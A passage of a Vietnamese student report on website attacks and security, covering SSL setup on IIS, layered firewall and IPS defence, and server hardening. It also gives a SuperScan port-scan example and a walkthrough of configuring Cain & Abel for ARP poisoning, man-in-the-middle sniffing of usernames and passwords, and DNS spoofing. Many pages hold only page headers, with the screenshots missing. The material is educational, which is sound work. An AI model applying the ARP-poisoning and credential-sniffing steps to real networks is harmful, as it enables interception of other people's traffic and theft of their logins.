Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Hộp thoại Certificate Request File Name, để mặc định đường dẫn dẫn
C:\certreg.txt, chọn Next .
46
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Trong hộp thoại Default Web Site Properties, chọn OK, tắt tất cả cửa sổ.
47
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Mở Internet Explorer, truy cập địa chỉ http://www.verisign.com, chọn Free SSL
Trial
48
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Trong cửa sổ Free SSL Trial Certificate, nhập đằy đủ thông tin (*: thông tin
bắt buộc), chọn Continue
49
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
50
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
-Cửa sổ tiếp theo, nhập đầy đủ thông tin vào phần Technical Contact, chọn
Continue .
51
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Trong ô Select Server Platform, chọn Microsoft. Trong ô Select Version, chọn
IIS 6.0. Dán nội dung file certreq.txt vào ô Paste Certificate Signing R******
(CSR), optained from your server .
52
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Trong ô What do you plan to use this SSL Certificate for?, chọn Web Server,
chọn Continue
53
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
54
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
55
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
56
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
57
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
58
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
59
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Trong cửa sổ Root CA Certificate, chọn Select All, copy tất cả nội dung
60
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Dán nội dung vào Notepad và save lại với tên ca.cer
Mở Internet Explorer, vào Tools, chọn Internet Options, qua tab Content, chọn
Certificates
61
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
62
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
63
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Hộp thoại File to Import, chọn Browse, trõ đường dẫn đến C:\ca.cer, chọn
Next .
Hộp thoại Certificate Store, chọn Automatically select the certificate store
based on the type of certificate, chọn Next, chọn Finish .
64
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
65
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Dán nội dung vào Notepad, save lại với tên cert.txt .
Mở Internet Information Services (IIS) Manager, chuột phải Default Web Site
chọn Properties
- Trong cửa sổ Default Web Site Properties, qua tab Directory Security, chọn
Server Certificate .
66
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
67
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Hộp thoại Process a Pending Request, chọn Browse, trõ ñường dẩn ñến
C:\cert.txt .
Hộp thoại SSL Port, giữ mặc định port 443, chọn Next 2 lần, chọn Finish
Trong hộp thoại Default Web Site Properties, chọn View Certificate .
68
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
69
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
70
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Vành đai bảo vệ chung cho toàn hệ thống mạng (lớp 1), gồm cả hệ
thống Web.
Để triển khai lớp bảo vệ đầu tiên này, các tổ chức, doanh nghiệp có thể trang
bị một thiết bị an ninh tích hợp (UTM) gồm nhiều tính năng bảo mật khác nhau
như:
• Tường lửa (Firewall) sẽ giúp ngăn chặn các tấn công tầng mạng, loại
bỏ các hành vi dờ quét các điểm yếu bảo mật của các hệ điều hành trên các
máy chủ .
• Thành phần ngăn chặn xâm nhập (IPS) giúp loại bỏ các tấn công khai
thác các điểm yếu của phần mềm ứng dụng web, phần mềm cơ sở dữ liệu, hệ
điều hành... Ngoài ra các thành phần mạng riêng ảo (VPN) và thành phần
quét virus mức gateway sẽ giúp hệ thống được an toàn hơn.
71
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Có 3 lựa chọn:
-Đối với các website mà phần lớn là thông tin tĩnh (ít thay đổi), không
chứa các dữ liệu quan trọng cũng như không có các giao dịch mua bán: có
thể trang bị bổ sung module phần mềm tường lửa cho ứng dụng web (như
Web Intelligence của Check Point) vào thiết bị an ninh tích hợp UTM nói trên.
-Đối với các website có rất nhiều dữ liệu quan trọng mang tính chất
sống còn của tổ chức, doanh nghiệp, đồng thời thường xuyên diễn ra các giao
dịch trực tuyến, đòi hỏi phải có độ an toàn, sẵn sàng cao: nên trang bị một
thiết bị tường lửa chuyên dụng cho ứng dụng web (như giải pháp của
NetContinuum, một hãng chuyên cung cấp thiết bị tường lửa chuyên dụng cho
ứng dụng web).
--Đối với các website cung cấp các thông tin nội bộ hoặc cổng truy nhập
thông tin của một tổ chức, doanh nghiệp (Web Portal) cho phép nhân viên kết
nối vào từ bất cứ đâu và làm việc bất kể thời gian nào: ngoài việc trang bị lớp
bảo vệ chung bằng thiết bị an ninh tích hợp, các tổ chức, doanh nghiệp cũng
cần xây dựng một “cổng truy nhập” an toàn đến các tài nguyên thông tin (ví dụ
sử dụng thiết bị Connectra Web Security Gateway của Check Point).
-Đối với an toàn hệ thống nhìn chung, Firewall có thể bảo vệ hệ thống
máy tính chống lại những kẻ đột nhập qua khả năng ngăn chặn những phiên
làm việc từ xa (remote login).
-Ngăn chặn thông tin từ bên ngoài (Internet) vào trong mạng được bảo
vệ, trong khi cho phép người sử dụng hợp pháp được truy nhập tự do mạng
bên ngoài.
Firewall có thể phục vụ như một công cụ theo dõi các cuộc tấn công với ý đồ
72
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
xấu từ bên ngoài nhằm dự báo khả năng bị tấn công trước khi cuộc tấn công
xẩy ra.
Thiết bị an ninh tích hợp hoặc thiết bị chống xâm nhập mạng :
Sau khi đầu tư hai lớp bảo vệ trên, để tăng cường an toàn bảo mật thông tin,
tổ chức, doanh nghiệp có thể bổ sung thêm một thiết bị an ninh tích hợp hoặc
thiết bị chống xâm nhập mạng (IPS) chuyên dụng (lớp 3). Lớp này phân chia
mạng bên trong thành các phân vùng khác nhau và áp dụng các chính sách
riêng cho từng phân vùng mạng nhằm ngăn chặn các tấn công có nguồn gốc
từ bên trong mạng và loại bỏ các tấn công có thể vượt qua tường lửa vào
vùng các máy chủ quan trọng.
73
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
thay đổi, chúng nên gửi một email tới nhà quản lý hệ thống.
-Loại bỏ toàn bộ các file không cần thiết khỏi thư mục chứa các file
kịch bản thi hành: /cgi-bin.
-Đăng ký và cập nhật định kỳ các bản sửa lỗi mới nhất về an toàn,
bảo mật từ các nhà cung cấp.
- Nếu hệ thống phải được quản trị từ xa, đòi hỏi một cơ chế bảo mật
như bảo mật shell, được sử dụng để tạo ra một kết nối bảo mật. Không sử
dụng telnet hay ftp với user là anynomous (đòi hỏi một username và password
cho việc truy cập) từ bất cứ site không được chứng thực nào. Tốt hơn, hãy
giới hạn số kết nối trong các hệ thống bảo mật và các hệ thống bên trong
mạng Intranet.
-Chạy webserver trong các thư mục đã được đặt quyền truy cập và
quyền sử dụng, vì vậy chỉ có người quản trị mới có thể truy cập hệ thống
thực
-Chạy server FTP theo chế độ anonymous (nếu hệ thống cần) trong
một thư mục được đặt quyền truy cập, khác với thư mục được sử dụng bởi
webserver.
-Thực hiện toàn bộ việc cập nhật từ mạng Intranet. Duy trì trang web
ban đầu trên mỗi server trên hệ thống mạng Intranet và tạo các thay đổi và
cập nhật ở đây; sau đó mới đẩy các cập nhật này lên website qua một kết nối
SSL. Nếu thực hiện điều này hàng giờ, có thể tránh khả năng server treo một
thời gian dài.
-Quét Webserver theo định kỳ với các công cụ như ISS hay nmap để
tìm kiếm lỗ hổng bảo mật.
-Trang bị phần mềm phát hiện truy nhập trái phép tới các máy chủ,
đặt phần mềm này cảnh báo các hành động nguy hiểm và bắt các session
của chúng lại để xem.. Thông tin này có thể giúp bạn lấy được thông tin về
cách thức phá hoại mạng, cũng như mức độ bảo mật trong hệ thống của bạn.
-Tuân thủ các quy tắc nhất định nêu trên sẽ giúp cho Webserver
được bảo vệ tốt hơn và người quản trị mạng không còn chịu nỗi đau đầu, lo
74
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
lắng về vấn đề an toàn máy chủ web và an toàn thông tin cho toàn bộ hệ
thống.
* .Super Scan :
Chúng ta sẽ tiến hành kiểm tra thông tin trên mạng bằng công cụ Super Scan.
Cụ thể hơn, chúng ta sẽ dùng Super Scan để quét 1 IP và xác định cá lỗ hổng
có thể xâm nhập vào hệ thống thông qua các port mà phần mềm xác định mở.
75
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Host and Services Discovery: Dùng để thay đổi số port bạn muốn quét của
IP đó hoặc dựa trên danh sách Port list có sẵn.
- Scan Options: Thay đổi các tham số host và services.
- Tools: Các chức năng để kiểm tra, tìm kiếm thông tin của 1 IP hoặc domain.
(Ping, whois, HTTP Header request,…)
- Windows Enumeration: Thông tin mở rộng về IP hoặc Domain
(NetBIOS,Mac address, Workstation,…)
Ví dụ: Khi scan IP 210.245.31.17 ta sẽ nhận được kết quả như hình dưới:
76
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- 23 : Telnet
- 80 : web
- 443: SSL
- 8001: port này do Trojan mở
- Để xem chi tiết kết quả hơn, ta click vào View HTML Results.
Từ đây ta sẽ xác định được các port mà hacker có thể lợi dụng để xâm nhập
và có biện pháp secure cho các port này.
- Một số tính năng khác của Super Scan trong phần Tools để ping, tracert hay
whois 1 domain
Ở hình trên ta thu được thông tin khi tracert domain www.itsea.net như sau:
- Domain này có IP: 207.210.81.150 và qua 16 hop, server dùng hệ điều hành
Linux, chạy Apache 1.3.36 (unix) ,OpenSSL 0.9.7a …
- Ngoài ra còn 1 số chức năng khác để khai thác triệt để những thông tin về
77
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
domain này.
NHẬN XÉT :
- Super Scan là 1 công cụ scan kiểm tra thông tin IP rất mạnh và dễ sử
dụng, ngoài ra còn 1 số công cụ khác như Scan port, 1st Blue scan port,…
và có chức năng giống Super Scan.
- Với 1 công cụ như Super Scan thì không khó để kiểm soát những thông tin
về 1 IP và từ đó có cách bảo mật tốt hơn.
2. SNIFFER .
78
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Đây là một dạng tấn công rất nguy hiểm, gọi là Man In The Middle. Trong
trường hợp này giống như bị đặt máy nghe lén, phiên làm việc giữa máy gởi
và máy nhận vẫn diễn ra bình thường nên người sử dụng không hề hay biết
mình bị tấn công.
b. Sơ lược quá trình hoạt động:
- Trên cùng một mạng, Host A và Host B muốn truyền tin cho nhau, các
Packet sẽ được đưa xuống tầng Datalink để đóng gói, các Host phải đóng gói
MAC nguồn, MAC đích vào Frame. Như vậy trước khi quá trình truyền Dữ
liệu, các Host phải hỏi địa chỉ MAC của nhau.
- Nếu như Host A khởi động quá trình hỏi MAC trước, nó sẽ gởi broadcast gói
tin ARP request cho tất cả các Host để hỏi MAC Host B, lúc đó Host B đã có
MAC của Host A, sau đó Host B chỉ trả lời cho Host A MAC của Host B (ARP
reply).
Có 1 Host C liên tục gởi ARP reply cho Host A và Host B địa chỉ MAC của
Host C, nhưng lại đặt địa chỉ IP là Host A và Host B. Lúc này Host A cứ nghĩ
máy B có MAC là C. Như vậy các gói tin mà Host A gởi cho Host B đều bị đưa
đến Host C, gói tin Host B trả lời cho Host A cũng đưa đến Host C. Nếu Host
C bật chức năng forwarding thì coi như Host A và Host B không hề hay biết
rằng mình bị tấn công ARP.
- Ví dụ :
Ta có mô hình gồm các host
79
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
80
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
b. Cài đặt:
- Chọn Next .
81
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Chọn next.
- Chọn Finish.
Trong quá trình cài Ct đòi hỏi ta phải cài đặt kèm bộ thư viện WinPcap.
82
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
83
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
84
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
C. Cấu hình:
Cain & Abel cần cấu hình một vài thông số, mọi thứ có thể được điều chỉnh
thông qua bảng Configuration dialog.
Sniffer Tab
85
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Tại đây chúng ta chọn card mạng sử dụng để tiến hành sniffer và tính
năng APR. Check vào ô Option để kích hoạt hay không kích hoạt tính năng.
Sniffer tương thích với Winpcap Version 2.3 hay cao hơn. Version này hỗ trợ
card mạng rất nhiều .
Apr Tab
86
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Đây là nơi bạn có thể config ARP. Mặc định Cain ngăn cách 1 chuỗi gửi
gói ARP từ nạn nhân trong vòng 30 giây. Đây thực sự là điều cần thiết bởi vì
việc xâm nhập vào thiết bị có thể sẽ gây ra sự không lưu thông tính hiệu. Từ
dialog này bạn có thể xác định thời gian giữa mỗi lần thực thi ARP, xác định
thông số ít sẽ tạo cho ARP lưu thông nhiều ,ngược lại sẽ khó khăn hơn trong
việc xâm nhập.
Tại mục này, ta cần chú ý tới phần Spoofing Options:
• Mục đầu tiên cho phép ta sử dụng địa chỉ MAC và IP thực của máy mà mình
dang sử dụng.
• Mục thứ hai cho phép sử dụng một IP và địa chỉ MAC giả mạo.
(Lưu ý địa chỉ ta chọn phải không trùng với IP của máy khác)
Khi click vào tab filters and ports, ta sẽ thấy một số thông tin về giao thức và
các con số port tương ứng với giao thức đó.
87
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
88
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Tại đây có 1 list danh sách username và password sử dụng được HTTP
sniffer lọc lại.
Tại tab này cho phép ta biết dược chương trình này sẽ bắt 1 số thông tin về
trang web như:
• Mục Username Fields: Nó sẽ lấy thông tin những gì liên quan đến cái tên
(user name, account, web name v.v..) .
• Mục Password Fields: Lãnh vực này sẽ đãm nhiệm vai trò lấy thông tin về
password (login password, user pass, webpass…)
d. Các ứng dụng của CAIN :
Bảo vệ password manager :
- Trước hết nó được sử dụng như 1 private key bảo mật một số vấn đề cho
user. Hầu hết thông tin trong Protected Storage được mã hóa. Sử dụng như 1
key nhận được từ việc logon password của user. Cho phép điều hòa viêc truy
cập thông tin để owner có thể an toàn truy xuất.
89
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Một vài ứng dụng của Windows có nét đặc trưng nên sử dụng dịch vụ này:
Internet Explorer , Oulook , Oulook Express.
90
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
APR
APR là nét đặc trưng chính của chương trình. Nó cho phép lắng nghe về các
mạng chuyển mạch và sự tấn công lưu thông IP giữa các host. “APR poinsion
routing” thực hiện: tấn công và định tuyến chính xác địa chỉ đích.
APR tấn công cơ bản thông qua thao tác của host ARP. Trên 1 địa chỉ IP hay
Ethernet khi mà 2 host muốn truyền tin lẫn nhau thì phải biết địa chỉ MAC
addresses của nhau. Host gốc thấy bảng ARP nếu mà ở đây có 1 MAC
addresses tương ứng với địa chỉ IP addresses của nó. Nếu không, nó là địa
chỉ broadcasts, một lời yêu cầu ARP hỏi địa chỉ MAC của địa chỉ đích. Bởi vì
gói thông tin này được gửi trong miền broadcasts, nó sẽ đi đến những cái host
cùng subnet, tuy nhiên host với IP address trên lý thuyết khi nhận được yêu
cầu sẽ trả lời lại địa chỉ MAC gốc của nó. Trái lại nếu ARP-IP tiếp cận địa chỉ
đích của host thì nó sẵn sàng đưa ra soure host trên ARP cache. Điều này sẽ
được dùng để phát sinh lưu thông ARP.
Config.
Cần chỉnh 1 vài thông số, điều này có thể thực hiện được bằng việc chỉ rõ việc
bắt chước MAC và IP addresses bằng việc sử dụng ARP poision packets.
Điều này thật sự khó khăn khi không để lại vết tích của việc tấn công bởi vì
người tấn công thực tế không bao giờ gửi địa chỉ qua lại trên mạng. Trên
mạng người tấn công lúc nào cũng lén lúc ở giữa để quan sát.
91
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
192.168.0.10. Công việc tiến hành theo cơ chế người ở giữa, chương trình sẽ
thực hiện 1 sự tấn công ARP poision, CAIN có thể phát triển sự tấn công bộ
nhớ của nhiều host trong khoảng thời gian như nhau, bạn cần chọn 1 địa chỉ
ở ô bên trái.Hình ở trên là ta muốn tấn công ip từ 192.168.0.1
92
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Sniffer ARP-DNS
- Nét đặc trưng ở đây là cho phép DNS tiến hành giả mạo thành 1 DNS-reply
để có thể tấn công .
93
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
94
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
95
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
96
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
97
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
98